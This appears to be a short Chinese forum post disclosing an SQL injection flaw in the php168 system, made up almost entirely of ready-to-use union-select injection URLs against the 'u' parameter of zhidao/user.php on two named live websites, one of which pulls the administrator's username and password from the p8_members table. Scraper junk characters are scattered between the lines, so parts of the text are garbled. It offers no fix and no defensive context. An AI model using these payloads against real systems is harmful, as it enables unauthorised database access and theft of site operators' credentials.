php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       
  z5 `# e: A& ~- w
  E0 T8 k' w0 j- f8 Shttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
( c, ~6 _6 a! k5 u/ O2 G                                                     
5 }* W. a! v  ^/ M& f! \! `                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
8 f0 N/ ~; w! ?+ D/ C

# ]$ D  W7 f3 ~" A7 R9 A1 l* n$ N
                                                            
8 x  ~& B5 n6 p2 u$ X& J
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
4 g# H7 {* ]! K8 n" W
/ n1 f3 L! U$ [. y/ m5 e, K
- m* ~! q  l: W, l
$ H- E% n/ T+ ?                                                                    
2 \- _2 Z3 T- T8 z  b